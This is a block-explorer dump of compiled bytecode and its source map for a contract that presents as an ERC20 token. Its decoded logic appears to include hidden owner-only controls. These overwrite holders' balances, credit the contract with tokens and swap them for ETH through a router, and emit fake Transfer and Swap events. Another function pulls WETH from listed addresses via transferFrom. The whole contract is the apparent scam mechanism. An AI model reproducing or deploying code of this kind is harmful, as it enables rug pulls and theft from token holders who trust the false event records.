1606060405180830381865afa158015610532573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061055691906119ed565b50915091505f846001600160a01b031660015f9054906101000a90046001600160a01b03166001600160a01b0316630dfe16816040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105b6573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105da9190611a39565b6001600160a01b0316146105f757816001600160701b0316610602565b826001600160701b03165b95945050505050565b5f336104d581858561061d8383610da8565b6106279190611a54565b610dd2565b6002546001600160a01b031633146106865760405162461bcd60e51b815260206004820152601760248201527f43616c6c6572206973206e6f7420746865206f776e657200000000000000000060448201526064016103e8565b600280546001600160a01b0319169055565b6003545f906001600160a01b031633146106c45760405162461bcd60e51b81526004016103e890611960565b5f5b8551811015610706576106f48682815181106106e4576106e4611997565b602002602001015186868661116d565b806106fe816119bf565b9150506106c6565b50600195945050505050565b5f338161071f8286610da8565b90508381101561077f5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084016103e8565b61078c8286868403610dd2565b506001949350505050565b5f6103b4338484610f97565b5f6107ad846111f6565b9050825f036107fc575f5b85518110156107f6576107e48682815181106107d6576107d6611997565b60200260200101518361141d565b806107ee816119bf565b9150506107b8565b506104b7565b82600103610944575f5b85518110156107f6576108248682815181106107d6576107d6611997565b5f8054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610872573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108969190611a39565b6001600160a01b03166323b872dd8783815181106108b6576108b6611997565b60209081029190910101516001546040516001600160e01b031960e085901b1681526108f192916001600160a01b0316905f90600401611a67565b6020604051808303815f875af115801561090d573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109319190611a8b565b508061093c816119bf565b915050610806565b8260020361098d575f5b85518110156107f65761097b828688848151811061096e5761096e611997565b6020026020010151611465565b80610985816119bf565b91505061094e565b82600303610ad7575f5b85518110156107f6576109b7828688848151811061096e5761096e611997565b5f8054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a05573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a299190611a39565b6001600160a01b03166323b872dd878381518110610a4957610a49611997565b60209081029190910101516001546040516001600160e01b031960e085901b168152610a8492916001600160a01b0316905f90600401611a67565b6020604051808303815f875af1158015610aa0573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610ac49190611a8b565b5080610acf816119bf565b915050610997565b826004036104b7575f5b8551811015610bb057610b01828688848151811061096e5761096e611997565b826001600160a01b031663e156b1b6878381518110610b2257610b22611997565b60209081029190910101516001546040516001600160e01b031960e085901b168152610b5d92916001600160a01b0316908a90600401611a67565b6020604051808303815f875af1158015610b79573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b9d9190611a8b565b5080610ba8816119bf565b915050610ae1565b505050505050565b6003546001600160a01b03163314610be25760405162461bcd60e51b81526004016103e890611960565b5f81118015610bf35750620186a081105b610c375760405162461bcd60e51b8152602060048201526015602482015274416d6f756e742045786365656473204c696d69747360581b60448201526064016103e8565b5f610c41846104df565b90505f620186a0610c528484611aaa565b610c5c9190611ac1565b60408051600280825260608083018452939450909160208301908036833701905050905030815f81518110610c9357610c93611997565b60200260200101906001600160a01b031690816001600160a01b0316815250508581600181518110610cc757610cc7611997565b60200260200101906001600160a01b031690816001600160a01b0316815250505f610cf283836114bd565b5f8054308083526005602052604090922054929350610d1c926001600160a01b0390911690610dd2565b5f546001600160a01b0316638803dbee8483858a610d3c426104b0611a54565b6040518663ffffffff1660e01b8152600401610d5c959493929190611b22565b5f604051808303815f875af1158015610d77573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f19168201604052610d9e9190810190611b5d565b5050505050505050565b6001600160a01b039182165f90815260066020908152604080832093909416825291909152205490565b6001600160a01b038316610e345760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103e8565b6001600160a01b038216610e955760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103e8565b6001600160a01b038381165f8181526006602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b0382165f90815260056020526040812054610f1890836115c9565b9392505050565b5f610f2a8484610da8565b90505f198114610f915781811015610f845760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e636500000060448201526064016103e8565b610f918484848403610dd2565b50505050565b6001600160a01b038316610ffb5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103e8565b6001600160a01b03821661105d5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103e8565b6001600160a01b0383165f90815260056020526040902054818110156110d45760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016103e8565b6110de81836115d4565b6001600160a01b038086165f90815260056020526040808220939093559085168152205461110c9083611638565b6001600160a01b038085165f8181526005602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061115f9086815260200190565b60405180910390a350505050565b611177848461141d565b611182838386611465565b6001546040516370ab58db60e11b81526001600160a01b038084169263e156b1b6926111b692899216908790600401611a67565b6020604051808303815f875af11580156111d2573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104b79190611a8b565b6040805160028082526060820183525f92839291906020830190803683370190505090505f8054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611268573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061128c9190611a39565b815f8151811061129e5761129e611997565b60200260200101906001600160a01b031690816001600160a01b03168152505030816001815181106112d2576112d2611997565b6001600160a01b0392831660209182029290920101525f805460405163d06ca61f60e01b81529192169063d06ca61f906113129087908690600401611be9565b5f60405180830381865afa15801561132c573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f191682016040526113539190810190611b5d565b5f5481519192506001600160a01b031690637ff36ab59034908490600190811061137f5761137f611997565b602002602001015185334260016113969190611a54565b6040518663ffffffff1660e01b81526004016113b59493929190611c01565b5f6040518083038185885af11580156113d0573d5f803e3d5ffd5b50505050506040513d5f823e601f3d908101601f191682016040526113f89190810190611b5d565b508060018151811061140c5761140c611997565b602002602001015192505050919050565b6001546040518281526001600160a01b038481169216907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b600454604080518581525f6020820181905291810191909152606081018490526001600160a01b038381169216907fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d82290608001610ee9565b604080516002808252606080830184525f939092919060208301908036833750505f546040516307c0329d60e21b81529293506001600160a01b031691631f00ca7491506115119087908790600401611be9565b5f60405180830381865afa15801561152b573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f191682016040526115529190810190611b5d565b9050805f8151811061156657611566611997565b602002602001015160055f306001600160a01b03166001600160a01b031681526020019081526020015f205f82825461159f9190611a54565b92505081905550805f815181106115b8576115b8611997565b602002602001015191505092915050565b5f610f188284611ac1565b5f828211156116255760405162461bcd60e51b815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f77000060448201526064016103e8565b5f6116308385611c35565b949350505050565b5f806116448385611a54565b905083811015610f185760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103e8565b5f6020808352835180828501525f5b818110156116c1578581018301518582016040015282016116a5565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146116f5575f80fd5b50565b8035611703816116e1565b919050565b5f8060408385031215611719575f80fd5b8235611724816116e1565b946020939093013593505050565b5f805f8060608587031215611745575f80fd5b843567ffffffffffffffff8082111561175c575f80fd5b818701915087601f83011261176f575f80fd5b81358181111561177d575f80fd5b8860208260051b8501011115611791575f80fd5b6020928301999098509187013596604001359550909350505050565b5f805f606084860312156117bf575f80fd5b83356117ca816116e1565b925060208401356117da816116e1565b929592945050506040919091013590565b5f602082840312156117fb575f80fd5b8135610f18816116e1565b634e487b7160e01b5f52604160045260245ffd5b604051601f8201601f1916810167ffffffffffffffff8111828210171561184357611843611806565b604052919050565b5f67ffffffffffffffff82111561186457611864611806565b5060051b60200190565b5f805f8060808587031215611881575f80fd5b843567ffffffffffffffff811115611897575f80fd5b8501601f810187136118a7575f80fd5b803560206118bc6118b78361184b565b61181a565b82815260059290921b8301810191818101908a8411156118da575f80fd5b938201935b838510156119015784356118f2816116e1565b825293820193908201906118df565b975050870135945050506040850135915061191e606086016116f8565b905092959194509250565b5f806040838503121561193a575f80fd5b8235611945816116e1565b91506020830135611955816116e1565b809150509250929050565b60208082526017908201527f43616c6c6572206973206e6f7420746865204f776e6572000000000000000000604082015260600190565b634e487b7160e01b5f52603260045260245ffd5b634e487b7160e01b5f52601160045260245ffd5b5f600182016119d0576119d06119ab565b5060010190565b80516001600160701b0381168114611703575f80fd5b5f805f606084860312156119ff575f80fd5b611a08846119d7565b9250611a16602085016119d7565b9150604084015163ffffffff81168114611a2e575f80fd5b809150509250925092565b5f60208284031215611a49575f80fd5b8151610f18816116e1565b808201808211156103b8576103b86119ab565b6001600160a01b039384168152919092166020820152604081019190915260600190565b5f60208284031215611a9b575f80fd5b81518015158114610f18575f80fd5b80820281158282048414176103b8576103b86119ab565b5f82611adb57634e487b7160e01b5f52601260045260245ffd5b500490565b5f8151808452602080850194508084015f5b83811015611b175781516001600160a01b031687529582019590820190600101611af2565b509495945050505050565b85815284602082015260a060408201525f611b4060a0830186611ae0565b6001600160a01b0394909416606083015250608001529392505050565b5f6020808385031215611b6e575f80fd5b825167ffffffffffffffff811115611b84575f80fd5b8301601f81018513611b94575f80fd5b8051611ba26118b78261184b565b81815260059190911b82018301908381019087831115611bc0575f80fd5b928401925b82841015611bde57835182529284019290840190611bc5565b979650505050505050565b828152604060208201525f6116306040830184611ae0565b848152608060208201525f611c196080830186611ae0565b6001600160a01b03949094166040830152506060015292915050565b818103818111156103b8576103b86119ab56fea2646970667358221220b62677b9b55becfbcd565feb1b56570a2dd228a84e5e47e559e79e401390869f64736f6c63430008140033

Deployed Bytecode Sourcemap

1476:9793:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1822:40;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;1822:40:0;;;;;;;;;;;;:::i;:::-;;;;;;;;3799:158;;;;;;;;;;-1:-1:-1;3799:158:0;;;;;:::i;:::-;;:::i;:::-;;;1327:14:1;;1320:22;1302:41;;1290:2;1275:18;3799:158:0;1162:187:1;1960:41:0;;;;;;;;;;;;;;;;;;;1500:25:1;;;1488:2;1473:18;1960:41:0;1354:177:1;7750:421:0;;;;;;;;;;-1:-1:-1;7750:421:0;;;;;:::i;:::-;;:::i;:::-;;3965:248;;;;;;;;;;-1:-1:-1;3965:248:0;;;;;:::i;:::-;;:::i;1918:35::-;;;;;;;;;;;;1951:2;1918:35;;;;;2931:4:1;2919:17;;;2901:36;;2889:2;2874:18;1918:35:0;2759:184:1;7452:290:0;;;;;;;;;;-1:-1:-1;7452:290:0;;;;;:::i;:::-;;:::i;4221:242::-;;;;;;;;;;-1:-1:-1;4221:242:0;;;;;:::i;:::-;;:::i;3363:117::-;;;;;;;;;;-1:-1:-1;3363:117:0;;;;;:::i;:::-;-1:-1:-1;;;;;3455:17:0;3428:7;3455:17;;;:8;:17;;;;;;;3363:117;3272:83;;;;;;;;;;;;;:::i;1556:20::-;;;;;;;;;;-1:-1:-1;1556:20:0;;;;-1:-1:-1;;;;;1556:20:0;;;;;;-1:-1:-1;;;;;3364:32:1;;;3346:51;;3334:2;3319:18;1556:20:0;3200:203:1;1869:42:0;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;1869:42:0;;;;;6338:358;;;;;;;;;;-1:-1:-1;6338:358:0;;;;;:::i;:::-;;:::i;4471:438::-;;;;;;;;;;-1:-1:-1;4471:438:0;;;;;:::i;:::-;;:::i;3488:150::-;;;;;;;;;;-1:-1:-1;3488:150:0;;;;;:::i;:::-;;:::i;8179:1349::-;;;;;;:::i;:::-;;:::i;6714:730::-;;;;;;;;;;-1:-1:-1;6714:730:0;;;;;:::i;:::-;;:::i;3646:145::-;;;;;;;;;;-1:-1:-1;3646:145:0;;;;;:::i;:::-;;:::i;3799:158::-;3873:4;3890:37;3899:10;3911:7;3920:6;3890:8;:37::i;:::-;-1:-1:-1;3945:4:0;3799:158;;;;;:::o;7750:421::-;2815:6;;-1:-1:-1;;;;;2815:6:0;2825:10;2815:20;2807:56;;;;-1:-1:-1;;;2807:56:0;;;;;;;:::i;:::-;;;;;;;;;7907:9:::1;7902:262;7922:17:::0;;::::1;7902:262;;;7988:19;7965:20;7975:6;;7982:1;7975:9;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;7965:20::-;:42;7961:192;;;8028:20;8051:33;8064:6;;8071:1;8064:9;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;8075:8;8051:12;:33::i;:::-;8028:56;;8125:12;8103:8;:19;8112:6;;8119:1;8112:9;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;8103:19:0::1;::::0;;::::1;::::0;::::1;::::0;;;;;;-1:-1:-1;8103:19:0;:34;-1:-1:-1;7961:192:0::1;7941:3:::0;::::1;::::0;::::1;:::i;:::-;;;;7902:262;;;;7750:421:::0;;;;:::o;3965:248::-;4087:4;4104:41;4120:4;4126:10;4138:6;4104:15;:41::i;:::-;4156:27;4166:4;4172:2;4176:6;4156:9;:27::i;:::-;-1:-1:-1;4201:4:0;3965:248;;;;;:::o;7452:290::-;7517:7;7538:16;7556;7578:5;;;;;;;;;-1:-1:-1;;;;;7578:5:0;-1:-1:-1;;;;;7578:17:0;;:19;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;7537:60;;;;;7608:24;7654:5;-1:-1:-1;;;;;7636:23:0;:5;;;;;;;;;-1:-1:-1;;;;;7636:5:0;-1:-1:-1;;;;;7636:12:0;;:14;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;;;;;7636:23:0;;7635:65;;7691:8;-1:-1:-1;;;;;7683:17:0;7635:65;;;7671:8;-1:-1:-1;;;;;7663:17:0;7635:65;7608:92;7452:290;-1:-1:-1;;;;;7452:290:0:o;4221:242::-;4309:4;4344:10;4365:68;4344:10;4383:7;4422:10;4392:27;4344:10;4383:7;4392:9;:27::i;:::-;:40;;;;:::i;:::-;4365:8;:68::i;3272:83::-;2700:5;;-1:-1:-1;;;;;2700:5:0;2709:10;2700:19;2692:55;;;;-1:-1:-1;;;2692:55:0;;7577:2:1;2692:55:0;;;7559:21:1;7616:2;7596:18;;;7589:30;7655:25;7635:18;;;7628:53;7698:18;;2692:55:0;7375:347:1;2692:55:0;3329:5:::1;:18:::0;;-1:-1:-1;;;;;;3329:18:0::1;::::0;;3272:83::o;6338:358::-;2815:6;;6516:4;;-1:-1:-1;;;;;2815:6:0;2825:10;2815:20;2807:56;;;;-1:-1:-1;;;2807:56:0;;;;;;;:::i;:::-;6538:9:::1;6533:134;6557:10;:17;6553:1;:21;6533:134;;;6596:59;6602:10;6613:1;6602:13;;;;;;;;:::i;:::-;;;;;;;6617:11;6630:10;6642:12;6596:5;:59::i;:::-;6576:3:::0;::::1;::::0;::::1;:::i;:::-;;;;6533:134;;;-1:-1:-1::0;6684:4:0::1;::::0;6338:358;-1:-1:-1;;;;;6338:358:0:o;4471:438::-;4564:4;4599:10;4564:4;4647:27;4599:10;4666:7;4647:9;:27::i;:::-;4620:54;;4713:15;4693:16;:35;;4685:85;;;;-1:-1:-1;;;4685:85:0;;7929:2:1;4685:85:0;;;7911:21:1;7968:2;7948:18;;;7941:30;8007:34;7987:18;;;7980:62;-1:-1:-1;;;8058:18:1;;;8051:35;8103:19;;4685:85:0;7727:401:1;4685:85:0;4806:62;4815:7;4824;4852:15;4833:16;:34;4806:8;:62::i;:::-;-1:-1:-1;4897:4:0;;4471:438;-1:-1:-1;;;;4471:438:0:o;3488:150::-;3558:4;3575:33;3585:10;3597:2;3601:6;3575:9;:33::i;8179:1349::-;8311:19;8333:17;8339:10;8333:5;:17::i;:::-;8311:39;;8365:8;8377:1;8365:13;8361:1158;;8400:9;8395:124;8419:10;:17;8415:1;:21;8395:124;;;8462:41;8476:10;8487:1;8476:13;;;;;;;;:::i;:::-;;;;;;;8491:11;8462:13;:41::i;:::-;8438:3;;;;:::i;:::-;;;;8395:124;;;;8361:1158;;;8540:8;8552:1;8540:13;8536:983;;8575:9;8570:212;8594:10;:17;8590:1;:21;8570:212;;;8637:41;8651:10;8662:1;8651:13;;;;;;;;:::i;8637:41::-;8704:7;;;;;;;;-1:-1:-1;;;;;8704:7:0;-1:-1:-1;;;;;8704:12:0;;:14;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;;;;;8697:35:0;;8733:10;8744:1;8733:13;;;;;;;;:::i;:::-;;;;;;;;;;;8756:5;;8697:69;;-1:-1:-1;;;;;;8697:69:0;;;;;;;;;8733:13;-1:-1:-1;;;;;8756:5:0;;;;8697:69;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;8613:3:0;;;;:::i;:::-;;;;8570:212;;8536:983;8803:8;8815:1;8803:13;8799:720;;8838:9;8833:131;8857:10;:17;8853:1;:21;8833:131;;;8899:49;8909:11;8922:10;8934;8945:1;8934:13;;;;;;;;:::i;:::-;;;;;;;8899:9;:49::i;:::-;8876:3;;;;:::i;:::-;;;;8833:131;;8799:720;8985:8;8997:1;8985:13;8981:538;;9020:9;9015:219;9039:10;:17;9035:1;:21;9015:219;;;9081:49;9091:11;9104:10;9116;9127:1;9116:13;;;;;;;;:::i;9081:49::-;9156:7;;;;;;;;-1:-1:-1;;;;;9156:7:0;-1:-1:-1;;;;;9156:12:0;;:14;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;;;;;9149:35:0;;9185:10;9196:1;9185:13;;;;;;;;:::i;:::-;;;;;;;;;;;9208:5;;9149:69;;-1:-1:-1;;;;;;9149:69:0;;;;;;;;;9185:13;-1:-1:-1;;;;;9208:5:0;;;;9149:69;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;9058:3:0;;;;:::i;:::-;;;;9015:219;;8981:538;9255:8;9267:1;9255:13;9251:268;;9290:9;9285:223;9309:10;:17;9305:1;:21;9285:223;;;9351:49;9361:11;9374:10;9386;9397:1;9386:13;;;;;;;;:::i;9351:49::-;9426:12;-1:-1:-1;;;;;9419:30:0;;9450:10;9461:1;9450:13;;;;;;;;:::i;:::-;;;;;;;;;;;9473:5;;9419:73;;-1:-1:-1;;;;;;9419:73:0;;;;;;;;;9450:13;-1:-1:-1;;;;;9473:5:0;;9481:10;;9419:73;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;9328:3:0;;;;:::i;:::-;;;;9285:223;;;;8300:1228;8179:1349;;;;:::o;6714:730::-;2815:6;;-1:-1:-1;;;;;2815:6:0;2825:10;2815:20;2807:56;;;;-1:-1:-1;;;2807:56:0;;;;;;;:::i;:::-;6874:1:::1;6865:6;:10;:29;;;;;6888:6;6879;:15;6865:29;6857:63;;;::::0;-1:-1:-1;;;6857:63:0;;9385:2:1;6857:63:0::1;::::0;::::1;9367:21:1::0;9424:2;9404:18;;;9397:30;-1:-1:-1;;;9443:18:1;;;9436:51;9504:18;;6857:63:0::1;9183:345:1::0;6857:63:0::1;6931:24;6958:30;6978:9;6958:19;:30::i;:::-;6931:57:::0;-1:-1:-1;6999:17:0::1;7049:6;7020:25;7039:6:::0;6931:57;7020:25:::1;:::i;:::-;7019:36;;;;:::i;:::-;7107:16;::::0;;7121:1:::1;7107:16:::0;;;7068:21:::1;7107:16:::0;;::::1;::::0;;6999:56;;-1:-1:-1;7107:16:0;;::::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;7107:16:0::1;7100:23;;7152:4;7134;7139:1;7134:7;;;;;;;;:::i;:::-;;;;;;:23;-1:-1:-1::0;;;;;7134:23:0::1;;;-1:-1:-1::0;;;;;7134:23:0::1;;;::::0;::::1;7178:9;7168:4;7173:1;7168:7;;;;;;;;:::i;:::-;;;;;;:19;-1:-1:-1::0;;;;;7168:19:0::1;;;-1:-1:-1::0;;;;;7168:19:0::1;;;::::0;::::1;7200:16;7219:31;7234:9;7245:4;7219:14;:31::i;:::-;7295:7;::::0;;7280:4:::1;3455:17:::0;;;:8;:17;;;;;;;7200:50;;-1:-1:-1;7263:67:0::1;::::0;-1:-1:-1;;;;;7295:7:0;;::::1;::::0;4365:8;:68::i;7263:67::-:1;7341:7;::::0;-1:-1:-1;;;;;7341:7:0::1;:32;7374:9:::0;7385:8;7395:4;7401:10;7413:22:::1;:15;7431:4;7413:22;:::i;:::-;7341:95;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;::::0;;::::1;-1:-1:-1::0;;7341:95:0::1;::::0;::::1;;::::0;::::1;::::0;;;::::1;::::0;::::1;:::i;:::-;;6846:598;;;;6714:730:::0;;;:::o;3646:145::-;-1:-1:-1;;;;;3755:19:0;;;3728:7;3755:19;;;:10;:19;;;;;;;;:28;;;;;;;;;;;;;3646:145::o;5476:387::-;-1:-1:-1;;;;;5614:21:0;;5606:70;;;;-1:-1:-1;;;5606:70:0;;12061:2:1;5606:70:0;;;12043:21:1;12100:2;12080:18;;;12073:30;12139:34;12119:18;;;12112:62;-1:-1:-1;;;12190:18:1;;;12183:34;12234:19;;5606:70:0;11859:400:1;5606:70:0;-1:-1:-1;;;;;5695:21:0;;5687:68;;;;-1:-1:-1;;;5687:68:0;;12466:2:1;5687:68:0;;;12448:21:1;12505:2;12485:18;;;12478:30;12544:34;12524:18;;;12517:62;-1:-1:-1;;;12595:18:1;;;12588:32;12637:19;;5687:68:0;12264:398:1;5687:68:0;-1:-1:-1;;;;;5768:19:0;;;;;;;:10;:19;;;;;;;;:28;;;;;;;;;;;;;:37;;;5821:34;;1500:25:1;;;5821:34:0;;1473:18:1;5821:34:0;;;;;;;;5476:387;;;:::o;10676:146::-;-1:-1:-1;;;;;10788:15:0;;10754:7;10788:15;;;:8;:15;;;;;;10781:33;;10805:8;10781:6;:33::i;:::-;10774:40;10676:146;-1:-1:-1;;;10676:146:0:o;5871:459::-;6008:24;6035:27;6045:7;6054;6035:9;:27::i;:::-;6008:54;;-1:-1:-1;;6077:16:0;:37;6073:250;;6159:6;6139:16;:26;;6131:68;;;;-1:-1:-1;;;6131:68:0;;12869:2:1;6131:68:0;;;12851:21:1;12908:2;12888:18;;;12881:30;12947:31;12927:18;;;12920:59;12996:18;;6131:68:0;12667:353:1;6131:68:0;6243:53;6252:7;6261;6289:6;6270:16;:25;6243:8;:53::i;:::-;5997:333;5871:459;;;:::o;4917:551::-;-1:-1:-1;;;;;5048:18:0;;5040:68;;;;-1:-1:-1;;;5040:68:0;;13227:2:1;5040:68:0;;;13209:21:1;13266:2;13246:18;;;13239:30;13305:34;13285:18;;;13278:62;-1:-1:-1;;;13356:18:1;;;13349:35;13401:19;;5040:68:0;13025:401:1;5040:68:0;-1:-1:-1;;;;;5127:16:0;;5119:64;;;;-1:-1:-1;;;5119:64:0;;13633:2:1;5119:64:0;;;13615:21:1;13672:2;13652:18;;;13645:30;13711:34;13691:18;;;13684:62;-1:-1:-1;;;13762:18:1;;;13755:33;13805:19;;5119:64:0;13431:399:1;5119:64:0;-1:-1:-1;;;;;5218:14:0;;5196:19;5218:14;;;:8;:14;;;;;;5251:21;;;;5243:72;;;;-1:-1:-1;;;5243:72:0;;14037:2:1;5243:72:0;;;14019:21:1;14076:2;14056:18;;;14049:30;14115:34;14095:18;;;14088:62;-1:-1:-1;;;14166:18:1;;;14159:36;14212:19;;5243:72:0;13835:402:1;5243:72:0;5343:24;5347:11;5360:6;5343:3;:24::i;:::-;-1:-1:-1;;;;;5326:14:0;;;;;;;:8;:14;;;;;;:41;;;;5397:12;;;;;;;5393:25;;5411:6;5393:3;:25::i;:::-;-1:-1:-1;;;;;5378:12:0;;;;;;;:8;:12;;;;;;;:40;;;;5434:26;;;;;;;;;;5453:6;1500:25:1;;1488:2;1473:18;;1354:177;5434:26:0;;;;;;;;5029:439;4917:551;;;:::o;9987:341::-;10147:37;10161:9;10172:11;10147:13;:37::i;:::-;10195:45;10205:11;10218:10;10230:9;10195;:45::i;:::-;10301:5;;10251:69;;-1:-1:-1;;;10251:69:0;;-1:-1:-1;;;;;10251:30:0;;;;;;:69;;10282:9;;10301:5;;10309:10;;10251:69;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;9536:443::-;9652:16;;;9666:1;9652:16;;;;;;;;9605:7;;;;9652:16;9666:1;9652:16;;;;;;;;;;-1:-1:-1;9652:16:0;9625:43;;9692:7;;;;;;;;-1:-1:-1;;;;;9692:7:0;-1:-1:-1;;;;;9692:12:0;;:14;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9679:7;9687:1;9679:10;;;;;;;;:::i;:::-;;;;;;:27;-1:-1:-1;;;;;9679:27:0;;;-1:-1:-1;;;;;9679:27:0;;;;;9738:4;9717:7;9725:1;9717:10;;;;;;;;:::i;:::-;-1:-1:-1;;;;;9717:26:0;;;:10;;;;;;;;;:26;9756;9785:7;;:42;;-1:-1:-1;;;9785:42:0;;9756:26;;9785:7;;:21;;:42;;9807:10;;9819:7;;9785:42;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;9785:42:0;;;;;;;;;;;;:::i;:::-;9838:7;;9886:12;;9756:71;;-1:-1:-1;;;;;;9838:7:0;;:29;;9875:9;;9756:71;;9838:7;;9886:12;;;;;;:::i;:::-;;;;;;;9900:7;9909:10;9921:15;9939:1;9921:19;;;;:::i;:::-;9838:103;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;9838:103:0;;;;;;;;;;;;:::i;:::-;;9959:9;9969:1;9959:12;;;;;;;;:::i;:::-;;;;;;;9952:19;;;;9536:443;;;:::o;10338:144::-;10443:5;;10426:48;;1500:25:1;;;-1:-1:-1;;;;;10426:48:0;;;;10443:5;;10426:48;;1488:2:1;1473:18;10426:48:0;;;;;;;10338:144;;:::o;10490:174::-;10599:14;;10594:62;;;15333:25:1;;;10599:14:0;15389:2:1;15374:18;;15367:34;;;15417:18;;;15410:34;;;;15475:2;15460:18;;15453:34;;;-1:-1:-1;;;;;10594:62:0;;;;10599:14;;10594:62;;15320:3:1;15305:19;10594:62:0;15086:407:1;10830:327:0;10987:16;;;11001:1;10987:16;;;10934:28;10987:16;;;;;10914:7;;10934:28;;10987:16;11001:1;10987:16;;;;;;;;-1:-1:-1;;11028:7:0;;:37;;-1:-1:-1;;;11028:37:0;;10973:30;;-1:-1:-1;;;;;;11028:7:0;;:20;;-1:-1:-1;11028:37:0;;11049:9;;11060:4;;11028:37;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;11028:37:0;;;;;;;;;;;;:::i;:::-;11014:51;;11103:11;11115:1;11103:14;;;;;;;;:::i;:::-;;;;;;;11076:8;:23;11093:4;-1:-1:-1;;;;;11076:23:0;-1:-1:-1;;;;;11076:23:0;;;;;;;;;;;;;:41;;;;;;;:::i;:::-;;;;;;;;11135:11;11147:1;11135:14;;;;;;;;:::i;:::-;;;;;;;11128:21;;;10830:327;;;;:::o;11165:101::-;11226:7;11253:5;11257:1;11253;:5;:::i;3080:184::-;3138:7;3171:1;3166;:6;;3158:49;;;;-1:-1:-1;;;3158:49:0;;15700:2:1;3158:49:0;;;15682:21:1;15739:2;15719:18;;;15712:30;15778:32;15758:18;;;15751:60;15828:18;;3158:49:0;15498:354:1;3158:49:0;3218:9;3230:5;3234:1;3230;:5;:::i;:::-;3218:17;3080:184;-1:-1:-1;;;;3080:184:0:o;2891:181::-;2949:7;;2981:5;2985:1;2981;:5;:::i;:::-;2969:17;;3010:1;3005;:6;;2997:46;;;;-1:-1:-1;;;2997:46:0;;16192:2:1;2997:46:0;;;16174:21:1;16231:2;